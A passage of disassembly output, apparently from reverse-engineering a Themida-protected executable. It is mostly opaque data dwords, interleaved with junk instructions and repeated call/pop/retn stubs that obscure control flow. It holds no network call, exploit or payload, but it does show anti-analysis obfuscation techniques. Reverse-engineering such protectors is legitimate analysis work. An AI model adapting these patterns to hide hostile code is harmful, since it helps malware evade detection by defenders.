0A7CC8CBCh, 0A5B5898Eh, 0FF061526h, 1508AD85h dd 0F9B70F06h, 8ADB5FFh, 0B58B0615h, 6150391h, 2E2195FFh dd 0BF0F0615h, 78B890F2h, 6A123456h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0F618C356h dd 0DF979D8Dh, 70E90618h, 0E8FFFFF8h, 8, 87B0A7EEh, 0C3A61B5Eh dd 2C918589h, 0B58B0615h, 6151DC9h, 0FC18B5Eh, 686h, 5DBD8900h dd 0EB061513h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 1FEFCFB3h, 8999D50Fh dd 1521E195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0BCBFB4C6h, 6E3DFF93h, 8DF78B9Bh dd 15279D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h dd 0C3504000h, 36DDB934h, 8E9E190h, 0AE000000h, 0F3B14738h dd 0E9099767h, 0Bh, 0AAF08318h, 7EEED8B1h, 90EAE3A8h, 905F5750h dd 1D6DBD8Bh, 6A0615h, 160DBD31h, 6A0615h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F6C35141h, 0B589C029h dd 61511E5h, 0E1B7858Dh, 0F98B0618h, 0F4E7D681h, 0C0832156h dd 0F88B6605h, 0EE8h, 5FE74400h, 0AFA6AFEFh, 0CE558D77h dd 5FB8A7E6h, 850F5390h, 0 ; --------------------------------------------------------------------------- pop edi push eax mov edi, 57694559h nop push 0 push ebp call sub_5B7B2F and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7B2F proc near ; CODE XREF: Themida_:005B7B27p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5B7B2F endp ; --------------------------------------------------------------------------- ja short loc_5B7BB9 mov eax, ds:6AFB8B66h add [edi], cl mov bh, 0FBh mov [ebp+6152F15h], esi push 0 push 0 push ecx call sub_5B7B5D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7B5D proc near ; CODE XREF: Themida_:005B7B55p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5B7B5D endp ; --------------------------------------------------------------------------- and ecx, edx jmp loc_5B7B7A ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0D7h, 72h, 53h ; --------------------------------------------------------------------------- cmp al, 74h loc_5B7B7A: ; CODE XREF: Themida_:005B7B6Fj call dword ptr [ebp+6152679h] push 0 push esi call sub_5B7B8B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7B8B proc near ; CODE XREF: Themida_:005B7B83p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5B7B8B endp ; --------------------------------------------------------------------------- db 3Dh dd 554D1FFDh, 2C898501h, 9D8D0615h, 6189C15h, 2264D781h dd 0B5896C5Ch, 6151335h db 0FFh ; --------------------------------------------------------------------------- loc_5B7BB9: ; CODE XREF: Themida_:005B7B3Fj ror dword ptr [ebx+152665BDh], cl push es inc dword ptr [ebp+6151535h] push 0 push ebx call sub_5B7BD1 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7BD1 proc near ; CODE XREF: Themida_:005B7BC9p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B7BD1 endp ; --------------------------------------------------------------------------- db 11h, 0C4h, 49h ; --------------------------------------------------------------------------- mov esi, edi jmp loc_5B89BD ; --------------------------------------------------------------------------- loc_5B7BEB: ; CODE XREF: Themida_:005B8990j call $+5 pop ebp sub ebp, 618E1C1h push 0 push edx call sub_5B7C02 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7C02 proc near ; CODE XREF: Themida_:005B7BFAp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5B7C02 endp ; --------------------------------------------------------------------------- dec ebp cmp [edi+edx*4], bl db 64h cdq cdq sub [ebp+6151775h], ebx cmp dword ptr [ebp+61508ADh], 7D0h jbe loc_5B7D9A push 0 push esi call sub_5B7C3A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7C3A proc near ; CODE XREF: Themida_:005B7C32p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5B7C3A endp ; --------------------------------------------------------------------------- dw 0DC14h dd 81663425h, 8BF5E4DEh, 1504E19Dh, 0B1A1BF06h, 8B5265A3h dd 151D1DB5h, 0E3815E06h, 100h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0BDC35646h, 43D987C1h, 0AE9DDABh dd 90000000h, 0C7BB1366h, 0B0E3CEC8h, 0FDB0BA3h, 0AE85h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 4EEA6669h, 8BF6103Eh, 0EEBD83F3h, 618DFh dd 30840Fh, 0CE810000h, 57E32747h, 82E9h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 594C1094h, 9AD9589h, 85C70615h, 618DFEEh, 1, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1BC35242h, 0F7182AE6h dd 2759BD8Bh, 0E9520615h, 0Bh, 0EB22C6F4h, 22EB0BDBh, 5FCF511Eh dd 2F81B58Bh, 10E90615h, 0C7000000h, 18DFEE85h, 6, 0C9B58900h dd 8D061509h, 1504E19Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0C2D31900h, 6C6E34F8h dd 23819913h, 0FFFFFEFFh, 20F8EF81h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push ebx loc_5B7D9A: ; CODE XREF: Themida_:005B7C29j mov bx, ds mov edi, 5565248Ah test bl, 4 jz loc_5B7DD8 push 0 push eax call sub_5B7DB6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7DB6 proc near ; CODE XREF: Themida_:005B7DAEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5B7DB6 endp ; --------------------------------------------------------------------------- dw 0FFE2h ; --------------------------------------------------------------------------- xchg eax, ebp mov eax, ds:66061518h mov esi, edx nop mov si, 4A23h push eax nop cld loc_5B7DD8: ; CODE XREF: Themida_:005B7DA5j jmp loc_5B81B7 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5B7DE8 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7DE8 proc near ; CODE XREF: Themida_:005B7DE0p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5B7DE8 endp ; --------------------------------------------------------------------------- dd 362714Fh, 8C18098Dh, 31F84A48h, 153371BDh, 8900B006h dd 151D25B5h, 0F870E606h, 6A71E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 6483ECC3h, 8960D845h dd 1502BDBDh, 0F9BD8B06h, 61061511h, 6AD8B60Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 9DBCC351h, 6BAh, 5E85000h, 0A000000h, 37651E4Eh, 0A41BE66h dd 0B58B5F5Eh, 6151661h, 0BD8BC38Bh, 61520F5h, 6A04E8C1h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 21BCC350h, 7B5528D2h, 5E8h, 0C321AF00h, 0BD8B95E0h dd 6152395h, 0E2F7665Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 19C35343h, 0B919589h, 0BD890615h, 6150C75h dd 8B66D82Bh, 0BF6693F1h, 0F50D5EDh, 2584h, 0FE800h, 72FE0000h dd 6C26F834h, 94039B8Bh, 0FB5A44D6h, 0AE835h, 54D20000h dd 66DEBA0Ch, 757BA001h, 6A935F5Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0D6F2C356h dd 372F1D9Ah, 0B92A2124h, 8ADB5FFh, 6A0615h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 7EE2A5C3h dd 0FC604434h, 17718D33h, 0FF610615h, 152E2195h, 0FBBF0F06h dd 70E600B0h, 8D2971E4h, 615005Dh, 830F613Ch, 227h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 7CC35040h, 0B60F2DF0h dd 6BAD8h, 8E80000h, 45000000h, 0CE87A01Dh, 0E882FAC0h dd 12h, 6DD12A89h, 45480D73h, 241E3F24h, 0C364B19Eh, 5E517735h dd 0C38B5E5Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 6EC35747h, 8FE03DF1h, 54FDB0BDh, 0DF816681h, 0B5032F20h dd 61508C5h, 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0BE67C353h, 153473F4h dd 0BE2F766h, 150589B5h, 58D82B06h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 90C35646h, 0BF0F7E87h, 0FD82BF7h dd 14E88h, 7B900h, 8B660000h, 0C183F2h, 3A7694BFh, 0FD93B1Eh dd 13686h, 0FABE6600h, 0D98C66D7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 5EC35040h, 0EF4A5B7Bh, 8BED99A0h dd 152709B5h, 4C1F606h, 0F5840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0CC2AD2C3h dd 56ABFEE5h, 0A195FF5Eh, 6A061518h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8166C355h dd 19D95DEEh, 6A5B77h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 0FC431CC3h, 0B50B199Eh, 6150341h dd 9E8h, 0D5DDBE00h, 0D8A3C5EFh, 0AE96620h, 0A8000000h dd 0F3F08240h, 571DD274h, 0C32B5E36h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 7C35040h, 8A8BBDC0h, 18BB6660h dd 558D3126h, 61061525h, 8343Dh, 2C860F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 5637C355h, 5EFEB70Fh, 0EE9h, 23C78100h, 8B04269Bh dd 0DD9589C0h db 19h, 15h, 6 ; --------------------------------------------------------------------------- loc_5B81B7: ; CODE XREF: Themida_:loc_5B7DD8j mov eax, ebx mov ebx, eax push ecx mov si, 7459h pop esi mov dword ptr [ebp+6152871h], 77F7F117h push 0 push edx call sub_5B81D6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B81D6 proc near ; CODE XREF: Themida_:005B81CEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5B81D6 endp ; --------------------------------------------------------------------------- dw 0C36Fh ; --------------------------------------------------------------------------- setalc mov edi, [ebp+61517F1h] mov [ebp+61520A5h], ecx mov eax, eax push 0 push edi call sub_5B8202 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8202 proc near ; CODE XREF: Themida_:005B81FAp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5B8202 endp ; --------------------------------------------------------------------------- dw 3C89h ; --------------------------------------------------------------------------- or edi, 43009680h cmp dword ptr [ebp+61508ADh], 7D0h jnz loc_5B8247 mov edi, [ebp+6150165h] inc dword ptr [ebp+61508ADh] jmp loc_5B8247 ; --------------------------------------------------------------------------- inc edi mov bl, 5Fh jmp short loc_5B8287 ; --------------------------------------------------------------------------- db 78h, 6, 10h db 6Eh, 50h, 0A1h ; --------------------------------------------------------------------------- loc_5B8247: ; CODE XREF: Themida_:005B8224j ; Themida_:005B8236j push dword ptr [ebp+61508ADh] mov si, dx call dword ptr [ebp+6152E21h] push 0 push esi call sub_5B8261 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8261 proc near ; CODE XREF: Themida_:005B8259p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5B8261 endp ; --------------------------------------------------------------------------- db 21h, 0F5h, 57h dd 6D97EB5Eh, 6A4090E9h, 3E85300h, 20000000h ; --------------------------------------------------------------------------- pop ebx retn ; --------------------------------------------------------------------------- pop ebx loc_5B8287: ; CODE XREF: Themida_:005B823Fj mov [esp+4], ebx add dword ptr [esp+4], 1Ch inc ebx push ebx retn ; --------------------------------------------------------------------------- dw 3425h dd 0A50AF185h, 0E87EFA84h, 11h, 0D2B84127h, 301120D9h dd 23B1979Fh, 15B4C4F6h, 0F9BF0F86h, 29BD835Fh, 6150Ah dd 0B2840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 5C4F28C3h, 591D7424h, 1E01BD83h dd 0F000615h, 8384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 895177D4h, 1506C185h dd 85295F06h, 61503C5h, 0A2995FFh, 0BF660615h, 0C00B2B3Bh dd 46840Fh, 0FA8B0000h, 4F9E8D8Dh, 7E90615h, 58000000h dd 0D36532A6h, 5B8516Eh, 3000000h, 150D99B5h, 6AE1FF06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 7C1DC355h, 0BD89C5E1h, 6151D41h, 17F5BD83h dd 0F000615h, 60984h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 8229B83Eh, 1BD837Fh, 6151Eh dd 5DC840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 5C5A07C3h, 2856741h, 0F38B1975h dd 7118D8Dh, 0BD290615h, 6152FC1h, 1C75F57h, 44B27C84h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5C35646h dd 1985BD8Bh, 9D010615h, 6150AE9h, 0CFCB0181h, 89501499h dd 1502A9BDh, 0B58B5F06h, 615067Dh, 340441C7h, 0E8CE706Bh dd 7, 196C3AFh, 0E88D3670h, 5, 0D0F57096h, 21BD8BF1h, 5F061503h dd 441815Fh, 31D6D710h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0E5C35747h, 810F9E8Eh, 1, 8B6656F9h dd 0BD895FF1h, 6150C51h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0FD5F45C3h, 0B6660DF9h dd 5336C0BAh, 214DB501h, 8B5F0615h, 11858DFEh, 0F061507h dd 688h, 0B5B58900h, 9006152Ah, 50F78B66h, 786ABF60h, 38BB4E3Bh dd 61261FF2h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 17049A77h, 48BBC66Fh, 0F18B6653h dd 17F595FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 757E85C3h, 0B18589ADh, 8D06152Ch dd 1507118Dh, 31BE6606h, 1C772h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F9C355h dd 4E7DC405h, 0FAB70F8Fh, 441C7h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 1C3FC355h, 0EE92Ch, 0C4220000h, 0D211D220h, 1AFE7278h dd 8938D086h, 840FC00Bh, 50h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0CBC35242h, 0BC8B0F35h, 0E309263Fh dd 9E8D8D55h, 0F06154Fh, 0C80h, 6820F00h, 89000000h, 152A3D9Dh dd 5B806h, 9D310000h, 61510A9h, 0B58BE1FFh, 615130Dh, 7118D8Dh dd 0A7BE0615h, 8B7EEE20h, 7C01C7F9h, 8B44AA72h, 152879BDh dd 0CB018106h, 531499CFh, 2CA1BD89h, 0E95E0615h, 0Ah, 0B1077759h dd 0E13C8EB3h, 41C7EB05h, 78753C04h, 50006ACEh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0AB4B84D4h dd 799797C5h, 8E896h, 689A0000h, 0B86936C4h, 0B5897A2Ah dd 6151159h, 441815Eh, 31D6D710h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 6AC35242h, 1CFE9CD0h, 0B79B4FBDh dd 8D006A11h, 15071185h, 8298BF06h, 0E9503F92h, 0Fh, 0F0048D14h dd 3FF10025h, 5C2CB905h, 894F4913h, 0B58B2404h, 6152AB5h dd 17F595FFh, 0F98B0615h, 7118D8Dh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FCFC37C3h dd 1C7h, 0F510000h, 48Ah, 61BE6600h, 41C75F54h, 4, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3CDF60D6h, 0D318D640h, 0FC00B53h, 6084h, 9E8D8D00h dd 0BE06154Fh, 5D8F7A11h, 5B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 8817F742h dd 3D950907h, 2B06152Dh, 152615B5h, 6AE1FF06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 8FAFC355h, 0E71EC012h, 118D8D89h, 6A061507h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 7C64C351h, 95B58B7Eh, 0C7061511h, 0CA95A501h, 56006A54h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 2570E691h, 0FE980h, 0D9460000h, 0DA6EBA3Ch, 77B5B91Ch dd 0CF13FA13h, 0CB0181CFh, 291499CFh, 152AC9BDh, 441C706h dd 0CE5F5969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0D6C35141h, 2C9CD08h, 2B3DBD8Bh, 8B0F0615h, 3 dd 81F0B70Fh, 0D7100441h, 6A31D6h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 35DE3BC3h, 3B319EA4h dd 89006A2Ch, 1507ADB5h, 0D3BE6606h, 11858DE6h, 6A061507h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0FC7EC352h, 3B888B8Bh, 9BE41B5h, 1511D9B5h dd 8B0F9006h, 0 ; --------------------------------------------------------------------------- push eax jmp loc_5B88B6 ; --------------------------------------------------------------------------- dw 5037h dd 689A5350h, 0B86936C4h, 52F57A2Ah db 0E6h, 33h ; --------------------------------------------------------------------------- loc_5B88B6: ; CODE XREF: Themida_:005B88A1j nop push 0 push esi call sub_5B88C2 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B88C2 proc near ; CODE XREF: Themida_:005B88BAp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5B88C2 endp ; --------------------------------------------------------------------------- dw 0FBE9h dd 0BA3BEF2h, 6CCAC8B3h, 17F595FFh, 6A0615h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 65AADCC3h dd 118D8DDBh, 6A061507h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 5FCCC353h, 0BE66603Ah dd 8509ABDAh, 61528A5h, 1C761h, 8B000000h, 151E19B5h, 441C706h dd 0 ; --------------------------------------------------------------------------- mov di, cx or eax, eax jz loc_5B898E or [ebp+6151365h], edi lea ecx, [ebp+6154F9Eh] mov [ebp+61519B9h], ebx mov eax, 5 jmp ecx ; --------------------------------------------------------------------------- push 0 push esi call sub_5B8973 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8973 proc near ; CODE XREF: Themida_:005B896Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5B8973 endp ; --------------------------------------------------------------------------- db 6Dh dd 3656A724h, 0BF660C9Bh ; --------------------------------------------------------------------------- pop eax push es loc_5B898E: ; CODE XREF: Themida_:005B8949j add ecx, edx jmp loc_5B7BEB ; --------------------------------------------------------------------------- push 0 push esi call sub_5B89A0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B89A0 proc near ; CODE XREF: Themida_:005B8998p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5B89A0 endp ; --------------------------------------------------------------------------- dd 0B08CE0C4h, 89DD55F2h db 95h, 0D5h, 18h byte_5B89BB db 15h ; DATA XREF: Themida_:0057AB0Co ; --------------------------------------------------------------------------- push es loc_5B89BD: ; CODE XREF: Themida_:005B7BE6j mov eax, ecx push 0 push ebp call sub_5B89CA and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B89CA proc near ; CODE XREF: Themida_:005B89C2p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5B89CA endp ; --------------------------------------------------------------------------- dw 1E1Ch dd 703D816Bh, 0EB4EC1D2h, 0FE9h, 26BE100h, 0DAF1B56Bh dd 0FCD986D5h, 0D57EE54Ch, 4EBh, 4EBE0000h, 0F5AF3F1h dd 189h, 858DFC00h, 615279Dh, 1CB59D89h, 81660615h, 90FCE2EEh dd 5E8h, 4856B100h, 8B57DAE4h, 505F5EF2h, 0DCE78190h, 6A27F4A3h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0F8529A13h, 0F1B70F5Eh, 0CE8006Ah, 31000000h dd 0E2495C22h, 67172CFAh, 29D1D48Bh, 151605B5h, 858D5E06h dd 618F140h, 1A29B58Bh, 0C0830615h, 0F6816605h, 0E890D80Eh dd 9, 356584FEh, 0AC5E479h, 0F525031h, 5A5E5331h, 0BF505F58h dd 4227AD0Bh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 0B0BBB57h, 89496E3Bh, 151A6585h dd 3DBD3306h, 6A061502h, 0F98B6600h, 8D29006Ah, 6151945h dd 267995FFh, 81660615h, 8DD111E6h, 189C159Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0B58BABB1h, 6151175h, 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 135090C3h, 0F82085FDh dd 0CD850150h, 5F061507h, 153585FFh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 9B33DAC3h dd 25CD8C6Bh, 59BD8BDBh, 0E906152Ch, 882h ; =============== S U B R O U T I N E ======================================= sub_5B8B74 proc near ; DATA XREF: Themida_:0057A7A4o ; Themida_:0057B494o ; FUNCTION CHUNK AT 005B8CFE SIZE 0000000E BYTES call $+5 pop ebp sub ebp, 618F14Ah mov [ebp+6150D75h], ebx cmp dword ptr [ebp+61508ADh], 7D0h jbe loc_5B8CFE push 0 push edx call sub_5B8BA1 and [edx-3Dh], bl sub_5B8B74 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B8BA1 proc near ; CODE XREF: sub_5B8B74+25p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5B8BA1 endp ; --------------------------------------------------------------------------- adc eax, 108D9D8Bh adc eax, 52006A06h call sub_5B8BC3 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8BC3 proc near ; CODE XREF: Themida_:005B8BBBp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5B8BC3 endp ; --------------------------------------------------------------------------- scasb and al, [ecx+100E3h] add [edx+0], ch push ecx call sub_5B8BE6 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8BE6 proc near ; CODE XREF: Themida_:005B8BDEp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5B8BE6 endp ; --------------------------------------------------------------------------- dw 593Fh dd 0EB96DDD9h, 0DB0B1E8Fh, 94850Fh, 0BD8B0000h, 6152DF5h dd 0EFCBBD83h, 0F000618h, 1184h, 99B58B00h, 0E9061505h dd 0AAh, 21799501h, 85C70615h, 618EFCBh, 1, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 48C35646h, 31DCE0F4h dd 75E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0BA7BFE5h, 880F18C7h, 1Ah, 0EE8h dd 265E9800h, 0B47E623Ah, 0CC9F5F17h, 89BE5DC8h, 15019D95h dd 85C75F06h, 618EFCBh, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5B8CAF and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8CAF proc near ; CODE XREF: Themida_:005B8CA7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5B8CAF endp ; --------------------------------------------------------------------------- cwde dec ebx jmp dword ptr [ebp-339CFFD9h] ; --------------------------------------------------------------------------- align 4 jge $+6 lea ebx, [ebp+615108Dh] push 0 push ecx call sub_5B8CDF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8CDF proc near ; CODE XREF: Themida_:005B8CD7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B8CDF endp ; --------------------------------------------------------------------------- db 6Bh ; --------------------------------------------------------------------------- sbb di, 632Bh and dword ptr [ebx], 0FFFFFEFFh mov si, cx ; START OF FUNCTION CHUNK FOR sub_5B8B74 loc_5B8CFE: ; CODE XREF: sub_5B8B74+1Cj mov bx, ds push 0 push ebx call sub_5B8D0C and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5B8B74 ; =============== S U B R O U T I N E ======================================= sub_5B8D0C proc near ; CODE XREF: sub_5B8B74+190p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5B8D0C endp ; --------------------------------------------------------------------------- dd 40B8EF92h, 75329672h, 0F6F9DAC9h, 840F04C3h, 59h, 999B58Bh dd 95FF0615h, 61518A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0F8C35747h, 31D1C6C5h, 820F50E4h, 0 ; --------------------------------------------------------------------------- mov [esp], eax push 0 push ecx call sub_5B8D72 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8D72 proc near ; CODE XREF: Themida_:005B8D6Ap arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5B8D72 endp ; --------------------------------------------------------------------------- scasd sub esi, 30C735BEh jmp loc_5B91C9 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5B8D99 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8D99 proc near ; CODE XREF: Themida_:005B8D91p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5B8D99 endp ; --------------------------------------------------------------------------- db 0E0h, 92h, 4Ah ; --------------------------------------------------------------------------- jmp loc_5B8DBE ; --------------------------------------------------------------------------- db 5Fh, 76h, 0Ah dd 0CEB40704h, 3DE3B157h db 0EAh, 0F3h ; --------------------------------------------------------------------------- loc_5B8DBE: ; CODE XREF: Themida_:005B8DACj mov al, 0 push 0 push eax call sub_5B8DCB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B8DCB proc near ; CODE XREF: Themida_:005B8DC3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5B8DCB endp ; --------------------------------------------------------------------------- db 20h dd 8F0F8Fh, 0E6000000h, 68F0F70h, 81000000h, 0F7CDEDD7h dd 0F71E43Ah, 0B60FF2BFh, 52006AD8h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 5ADF4ECDh dd 10E9h, 0F6DB8800h, 0A0F35C0Ch, 3E312BBDh, 5AB64611h dd 7BBF6065h, 0E97DA4BFh, 9, 9736FA0Ch, 48DB8A0Eh, 6BA61F3h dd 0E9000000h, 13h, 22AA4322h, 18C1F4A7h, 52EFCCD4h, 41B4C048h dd 8960E70Fh, 151CEDB5h, 0FC38B06h, 8Ch, 4E8C100h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F9C35545h, 565F9860h dd 8E8BD1Eh, 54000000h, 